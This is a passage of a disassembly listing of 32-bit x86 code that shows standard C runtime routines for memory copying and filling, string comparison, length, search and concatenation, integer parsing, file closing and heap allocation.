mov dword_439550, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41730C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417330 proc near ; CODE XREF: sub_4010B5+281p
; sub_40144A+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_417383
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_417377
neg ecx
and ecx, 3
jz short loc_417359
sub edx, ecx
loc_417353: ; CODE XREF: sub_417330+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_417353
loc_417359: ; CODE XREF: sub_417330+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_417377
rep stosd
test edx, edx
jz short loc_41737D
loc_417377: ; CODE XREF: sub_417330+18j
; sub_417330+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_417377
loc_41737D: ; CODE XREF: sub_417330+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417383: ; CODE XREF: sub_417330+Aj
mov eax, [esp+arg_0]
retn
sub_417330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417390 proc near ; CODE XREF: sub_4010B5+22Dp
; sub_4010B5+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_39 = byte ptr 41h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4173B0
cmp edi, eax
jb loc_417528
loc_4173B0: ; CODE XREF: sub_417390+16j
test edi, 3
jnz short loc_4173CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
loc_4173CC: ; CODE XREF: sub_417390+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4173E4
and eax, 3
add ecx, eax
jmp dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4173E4: ; CODE XREF: sub_417390+46j
jmp dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4173EC: ; CODE XREF: sub_417390+31j
; sub_417390+8Ej ...
jmp off_41746C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_417400
dd offset loc_41742C
dd offset loc_417450
; ---------------------------------------------------------------------------
loc_417400: ; DATA XREF: sub_417390+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41742C: ; DATA XREF: sub_417390+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417450: ; DATA XREF: sub_417390+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4173EC
rep movsd
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41746C dd offset loc_4174CF ; DATA XREF: sub_417390:loc_4173ECr
dd offset loc_4174BC
dd offset loc_4174B4
dd offset loc_4174AC
dd offset loc_4174A4
dd offset loc_41749C
dd offset loc_417494
dd offset loc_41748C
; ---------------------------------------------------------------------------
loc_41748C: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_417494: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41749C: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4174A4: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4174AC: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4174B4: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4174BC: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4174CF: ; CODE XREF: sub_417390:loc_4173ECj
; DATA XREF: sub_417390:off_41746Co
jmp off_4174D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4174D8 dd offset loc_4174E8 ; DATA XREF: sub_417390+35r
; sub_417390+92r ...
dd offset loc_4174F0
dd offset loc_4174FC
dd offset loc_417510
; ---------------------------------------------------------------------------
loc_4174E8: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4174F0: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4174FC: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_417510: ; CODE XREF: sub_417390+35j
; sub_417390+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417528: ; CODE XREF: sub_417390+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41755C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_417550
std
rep movsd
cld
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417550: ; CODE XREF: sub_417390+1B1j
; sub_417390+208j ...
neg ecx
jmp off_417620[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41755C: ; CODE XREF: sub_417390+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_417574
and eax, 3
sub ecx, eax
jmp dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------
loc_417574: ; CODE XREF: sub_417390+1D6j
; DATA XREF: sub_417390+1DDr
jmp off_417670[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [ebp+arg_39], dh
add [eax-2FFFBE8Bh], ch
jnz short loc_4175C8
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_417550
std
rep movsd
cld
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_417550
std
rep movsd
cld
loc_4175C8: ; CODE XREF: sub_417390+1F5j
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_417550
std
rep movsd
cld
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_417624
dd offset loc_41762C
dd offset loc_417634
dd offset loc_41763C
dd offset loc_417644
dd offset loc_41764C
dd offset loc_417654
off_417620 dd offset loc_417667 ; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------
loc_417624: ; DATA XREF: sub_417390+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41762C: ; DATA XREF: sub_417390+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_417634: ; DATA XREF: sub_417390+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41763C: ; DATA XREF: sub_417390+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_417644: ; DATA XREF: sub_417390+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41764C: ; DATA XREF: sub_417390+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_417654: ; DATA XREF: sub_417390+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_417667: ; CODE XREF: sub_417390+1C2j
; DATA XREF: sub_417390:off_417620o
jmp off_417670[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_417670 dd offset loc_417680 ; DATA XREF: sub_417390+1B7r
; sub_417390:loc_417574r ...
dd offset loc_417688
dd offset loc_417698
dd offset loc_4176AC
; ---------------------------------------------------------------------------
loc_417680: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417688: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417698: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4176AC: ; CODE XREF: sub_417390+1B7j
; sub_417390:loc_417574j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_417390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4176D0 proc near ; CODE XREF: sub_4010B5+FCp
; sub_4010B5+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41771C
loc_4176E0: ; CODE XREF: sub_4176D0+3Cj
; sub_4176D0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_417714
or al, al
jz short loc_417710
cmp ah, [ecx+1]
jnz short loc_417714
or ah, ah
jz short loc_417710
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_417714
or al, al
jz short loc_417710
cmp ah, [ecx+3]
jnz short loc_417714
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_4176E0
mov edi, edi
loc_417710: ; CODE XREF: sub_4176D0+18j
; sub_4176D0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_417714: ; CODE XREF: sub_4176D0+14j
; sub_4176D0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41771C: ; CODE XREF: sub_4176D0+Ej
test edx, 1
jz short loc_417738
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_417714
inc ecx
or al, al
jz short loc_417710
test edx, 2
jz short loc_4176E0
loc_417738: ; CODE XREF: sub_4176D0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_417714
or al, al
jz short loc_417710
cmp ah, [ecx+1]
jnz short loc_417714
or ah, ah
jz short loc_417710
add ecx, 2
jmp short loc_4176E0
sub_4176D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417760 proc near ; CODE XREF: sub_4010B5+19Ep
; sub_401A76+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_417779
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_417779: ; CODE XREF: sub_417760+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_417760 endp
; =============== S U B R O U T I N E =======================================
sub_417794 proc near ; CODE XREF: sub_41781F+4p
; sub_42094E+1A2p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41779C: ; CODE XREF: sub_417794+34j
cmp dword_4397AC, 1
jle short loc_4177B4
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_4177C3
; ---------------------------------------------------------------------------
loc_4177B4: ; CODE XREF: sub_417794+Fj
movzx eax, byte ptr [edi]
mov ecx, off_4395A0
mov al, [ecx+eax*2]
and eax, 8
loc_4177C3: ; CODE XREF: sub_417794+1Ej
test eax, eax
jz short loc_4177CA
inc edi
jmp short loc_41779C
; ---------------------------------------------------------------------------
loc_4177CA: ; CODE XREF: sub_417794+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_4177DA
cmp esi, 2Bh
jnz short loc_4177DE
loc_4177DA: ; CODE XREF: sub_417794+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_4177DE: ; CODE XREF: sub_417794+44j
xor ebx, ebx
loc_4177E0: ; CODE XREF: sub_417794+7Bj
cmp dword_4397AC, 1
jle short loc_4177F5
push 4
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_417800
; ---------------------------------------------------------------------------
loc_4177F5: ; CODE XREF: sub_417794+53j
mov eax, off_4395A0
mov al, [eax+esi*2]
and eax, 4
loc_417800: ; CODE XREF: sub_417794+5Fj
test eax, eax
jz short loc_417811
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_4177E0
; ---------------------------------------------------------------------------
loc_417811: ; CODE XREF: sub_417794+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41781A
neg eax
loc_41781A: ; CODE XREF: sub_417794+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_417794 endp
; =============== S U B R O U T I N E =======================================
sub_41781F proc near ; CODE XREF: sub_4013EC+12p
; sub_4013EC+1Dp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_417794
pop ecx
retn
sub_41781F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41782A proc near ; CODE XREF: sub_40144A+318p
; sub_401D82+460p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_14], 42h
mov [ebp+var_1C], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_8]
push eax
call sub_419E38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_417869
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_417876
; ---------------------------------------------------------------------------
loc_417869: ; CODE XREF: sub_41782A+35j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419D23
pop ecx
pop ecx
loc_417876: ; CODE XREF: sub_41782A+3Dj
mov eax, esi
pop esi
leave
retn
sub_41782A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417880 proc near ; CODE XREF: sub_401D82+2D8p
; sub_401D82+2F8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_4178FA
mov dh, [ecx+1]
test dh, dh
jz short loc_4178E7
loc_417898: ; CODE XREF: sub_417880+52j
; sub_417880+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_4178BA
test al, al
jz short loc_4178B4
loc_4178A9: ; CODE XREF: sub_417880+32j
mov al, [esi]
inc esi
loc_4178AC: ; CODE XREF: sub_417880+3Fj
cmp al, dl
jz short loc_4178BA
test al, al
jnz short loc_4178A9
loc_4178B4: ; CODE XREF: sub_417880+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4178BA: ; CODE XREF: sub_417880+23j
; sub_417880+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_4178AC
lea edi, [esi-1]
loc_4178C4: ; CODE XREF: sub_417880+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_4178F3
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_417898
mov al, [ecx+3]
test al, al
jz short loc_4178F3
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_4178C4
jmp short loc_417898
; ---------------------------------------------------------------------------
loc_4178E7: ; CODE XREF: sub_417880+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_418F56
; ---------------------------------------------------------------------------
loc_4178F3: ; CODE XREF: sub_417880+49j
; sub_417880+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_4178FA: ; CODE XREF: sub_417880+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_417880 endp
; =============== S U B R O U T I N E =======================================
sub_417900 proc near ; CODE XREF: sub_4022C6+94p
; sub_405A58+7Cp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_417915
or eax, 0FFFFFFFFh
jmp short loc_41794F
; ---------------------------------------------------------------------------
loc_417915: ; CODE XREF: sub_417900+Ej
test al, 83h
jz short loc_41794D
push esi
call sub_41A7D0
push esi
mov edi, eax
call sub_41A76A
push dword ptr [esi+10h]
call sub_41A6B7
add esp, 0Ch
test eax, eax
jge short loc_41793B
or edi, 0FFFFFFFFh
jmp short loc_41794D
; ---------------------------------------------------------------------------
loc_41793B: ; CODE XREF: sub_417900+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41794D
push eax
call sub_417C3B
and dword ptr [esi+1Ch], 0
pop ecx
loc_41794D: ; CODE XREF: sub_417900+17j
; sub_417900+39j ...
mov eax, edi
loc_41794F: ; CODE XREF: sub_417900+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_417900 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417956 proc near ; CODE XREF: sub_4022C6+8Ep
; sub_40EE72+2B0Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_41A8A2
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419E38
push [ebp+arg_0]
mov edi, eax
push esi
call sub_41A92F
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_417956 endp
; =============== S U B R O U T I N E =======================================
sub_417988 proc near ; CODE XREF: sub_4179A8+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41AADC
test eax, eax
jnz short loc_417992
retn
; ---------------------------------------------------------------------------
loc_417992: ; CODE XREF: sub_417988+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A96C
add esp, 10h
retn
sub_417988 endp
; =============== S U B R O U T I N E =======================================
sub_4179A8 proc near ; CODE XREF: sub_4022C6+54p
; sub_405A58+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_417988
add esp, 0Ch
retn
sub_4179A8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4179C0 proc near ; CODE XREF: sub_405AF2+2BFp
; sub_40A7D7+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_417A31
sub_4179C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4179D0 proc near ; CODE XREF: sub_4022C6+32p
; sub_4022C6+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_4179EC
loc_4179DD: ; CODE XREF: sub_4179D0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_417A1F
test ecx, 3
jnz short loc_4179DD
loc_4179EC: ; CODE XREF: sub_4179D0+Bj
; sub_4179D0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_4179EC
mov eax, [ecx-4]
test al, al
jz short loc_417A2E
test ah, ah
jz short loc_417A29
test eax, 0FF0000h
jz short loc_417A24
test eax, 0FF000000h
jz short loc_417A1F
jmp short loc_4179EC
; ---------------------------------------------------------------------------
loc_417A1F: ; CODE XREF: sub_4179D0+12j
; sub_4179D0+4Bj
lea edi, [ecx-1]
jmp short loc_417A31
; ---------------------------------------------------------------------------
loc_417A24: ; CODE XREF: sub_4179D0+44j
lea edi, [ecx-2]
jmp short loc_417A31
; ---------------------------------------------------------------------------
loc_417A29: ; CODE XREF: sub_4179D0+3Dj
lea edi, [ecx-3]
jmp short loc_417A31
; ---------------------------------------------------------------------------
loc_417A2E: ; CODE XREF: sub_4179D0+39j
lea edi, [ecx-4]
loc_417A31: ; CODE XREF: sub_4179C0+5j
; sub_4179D0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_417A56
loc_417A3D: ; CODE XREF: sub_4179D0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_417AA8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_417A3D
jmp short loc_417A56
; ---------------------------------------------------------------------------
loc_417A51: ; CODE XREF: sub_4179D0+9Ej
; sub_4179D0+B8j
mov [edi], edx
add edi, 4
loc_417A56: ; CODE XREF: sub_4179D0+6Bj
; sub_4179D0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_417A51
test dl, dl
jz short loc_417AA8
test dh, dh
jz short loc_417A9F
test edx, 0FF0000h
jz short loc_417A92
test edx, 0FF000000h
jz short loc_417A8A
jmp short loc_417A51
; ---------------------------------------------------------------------------
loc_417A8A: ; CODE XREF: sub_4179D0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417A92: ; CODE XREF: sub_4179D0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_417A9F: ; CODE XREF: sub_4179D0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417AA8: ; CODE XREF: sub_4179D0+72j
; sub_4179D0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_4179D0 endp
; =============== S U B R O U T I N E =======================================
sub_417AB0 proc near ; CODE XREF: sub_4023A7+1A7p
; sub_4023A7:loc_402561p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_417AD0
loc_417ABC: ; CODE XREF: sub_417AB0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_417B03
test ecx, 3
jnz short loc_417ABC
add eax, 0
loc_417AD0: ; CODE XREF: sub_417AB0+Aj
; sub_417AB0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_417AD0
mov eax, [ecx-4]
test al, al
jz short loc_417B21
test ah, ah
jz short loc_417B17
test eax, 0FF0000h
jz short loc_417B0D
test eax, 0FF000000h
jz short loc_417B03
jmp short loc_417AD0
; ---------------------------------------------------------------------------
loc_417B03: ; CODE XREF: sub_417AB0+11j
; sub_417AB0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B0D: ; CODE XREF: sub_417AB0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B17: ; CODE XREF: sub_417AB0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_417B21: ; CODE XREF: sub_417AB0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_417AB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417B30 proc near ; CODE XREF: sub_402688+8p
; sub_402B84+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_417B50
loc_417B3C: ; CODE XREF: sub_417B30+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_417B3C
loc_417B50: ; CODE XREF: sub_417B30+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_417B30 endp
; =============== S U B R O U T I N E =======================================
sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap
; sub_4029E9+8Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, eax
cmp word ptr [eax], 0
jz short loc_417B73
loc_417B6B: ; CODE XREF: sub_417B5F+12j
inc ecx
inc ecx
cmp word ptr [ecx], 0
jnz short loc_417B6B
loc_417B73: ; CODE XREF: sub_417B5F+Aj
mov edx, [esp+arg_4]
push esi
loc_417B78: ; CODE XREF: sub_417B5F+26j
mov si, [edx]
mov [ecx], si
inc ecx
inc ecx
inc edx
inc edx
test si, si
jnz short loc_417B78
pop esi
retn
sub_417B5F endp
; =============== S U B R O U T I N E =======================================
sub_417B89 proc near ; CODE XREF: sub_402B84+220p
; sub_402DD7+C1p ...
arg_0 = dword ptr 4
push dword_48A074
push [esp+4+arg_0]
call sub_417B9B
pop ecx
pop ecx
retn
sub_417B89 endp
; =============== S U B R O U T I N E =======================================
sub_417B9B proc near ; CODE XREF: sub_417B89+Ap
; sub_4185F5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_417BC4
loc_417BA2: ; CODE XREF: sub_417B9B+27j
push [esp+arg_0]
call sub_417BC7
test eax, eax
pop ecx
jnz short locret_417BC6
cmp [esp+arg_4], eax
jz short locret_417BC6
push [esp+arg_0]
call sub_41AB54
test eax, eax
pop ecx
jnz short loc_417BA2
loc_417BC4: ; CODE XREF: sub_417B9B+5j
xor eax, eax
locret_417BC6: ; CODE XREF: sub_417B9B+13j
; sub_417B9B+19j
retn
sub_417B9B endp
; =============== S U B R O U T I N E =======================================
sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp
arg_0 = dword ptr 4
mov eax, dword_48B688
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_417BEB
cmp esi, dword_48B680
ja short loc_417C1D
push esi
call sub_41B0DD
test eax, eax
pop ecx
jz short loc_417C1D
pop esi
retn
; ---------------------------------------------------------------------------
loc_417BEB: ; CODE XREF: sub_417BC7+Dj
cmp eax, 2
jnz short loc_417C1D
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_417C00
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_417C03
; ---------------------------------------------------------------------------
loc_417C00: ; CODE XREF: sub_417BC7+2Fj
push 10h
pop esi
loc_417C03: ; CODE XREF: sub_417BC7+37j
cmp esi, dword_43B7E4
ja short loc_417C2A
mov eax, esi
shr eax, 4
push eax
call sub_41BB80
test eax, eax
pop ecx
jnz short loc_417C39
jmp short loc_417C2A
; ---------------------------------------------------------------------------
loc_417C1D: ; CODE XREF: sub_417BC7+15j
; sub_417BC7+20j ...
test esi, esi
jnz short loc_417C24
push 1
pop esi
loc_417C24: ; CODE XREF: sub_417BC7+58j
add esi, 0Fh
